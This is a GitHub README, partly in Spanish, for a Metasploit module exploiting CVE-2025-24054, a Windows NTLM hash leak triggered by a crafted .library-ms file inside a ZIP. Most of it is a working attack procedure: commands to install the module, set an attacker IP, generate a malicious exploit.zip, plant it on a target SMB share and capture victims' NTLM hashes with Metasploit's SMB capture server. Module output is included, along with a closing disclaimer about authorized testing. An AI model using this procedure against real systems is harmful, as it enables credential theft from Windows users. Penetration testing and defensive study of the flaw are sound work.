securitylayer404/cve-2025-24054-24071---metasploit-moduleMódulo de Metasploit para explotar CVE-2025-24054 (ex 24071). Exploit de filtración NTLM integrado en Metasploit para vectores de ataque basados en bibliotecas de Windows.
The vulnerability occurs during the extraction process of a .zip file. When interacting with a specially crafted .library-ms file, Windows Explorer processes the internal XML schema and automatically initiates an SMB authentication request to a remote path controlled by the attacker.
This behavior allows the exfiltration of the user's NTLM hash without requiring additional interaction beyond decompressing the file. To see a proof of concept, I recommend visiting the following link: Fluffy - HTB.
Although this vulnerability was originally disclosed as CVE-2025-24071, it is currently officially tracked as CVE-2025-24054.
Clone the repository:
❯ git clone https://github.com/SecurityLayer404/CVE-2025-24054-24071---Metasploit-Module.git
❯ cd CVE-2025-24071
Copy the module to the Metasploit directory:
❯ cp ntlm_hash_leak.rb ~/.msf4/modules/auxiliary/server/
If the directory does not exist, create it with:
❯ mkdir -p ~/.msf4/modules/auxiliary/server/
Then copy the module again.
Start Metasploit and load the module:
❯ msfconsole -q
❯ use auxiliary/server/ntlm_hash_leak
If the module loads correctly, you will be able to see the options to configure it:
❯ show options
Module options (auxiliary/server/ntlm_hash_leak):
Name Current Setting Required Description
---- --------------- -------- -----------
ATTACKER_IP yes Attacker IP (where Responder/Impacket runs)
FILENAME exploit.zip yes The ZIP file name
LIBRARY_NAME documents.library-ms yes Name of the .library-ms file
SHARE_NAME recurso yes Name of the fake shared resource
Configure the module and run:
❯ set ATTACKER_IP 0.0.0.0 # Replace with your attacker IP
❯ set FILENAME exploit.zip # Name of the payload you will upload to SMB (target machine)
❯ set LIBRARY_NAME malicious.library-ms # Name of the .library-ms file
❯ set SHARE_NAME it_shared # Name of the SMB resource
❯ run
Output: the module generates a .zip file that must be uploaded to the target SMB server for later execution by the victim
[+] exploit.zip stored at /home/user/.msf4/local/exploit.zip
[+] Archivo guardado en: /home/user/.msf4/local/exploit.zip
[*] Auxiliary module execution completed
Finally, use the Metasploit SMB capture module to receive the NTLM hashes:
❯ use auxiliary/server/capture/smb
❯ set SRVHOST 0.0.0.0 # Replace with your attacker IP
❯ run
If you have trouble starting the SMB server from Metasploit:
This module was developed for educational purposes and authorized testing only. Unauthorized use of this type of tool may be illegal.
Security Layer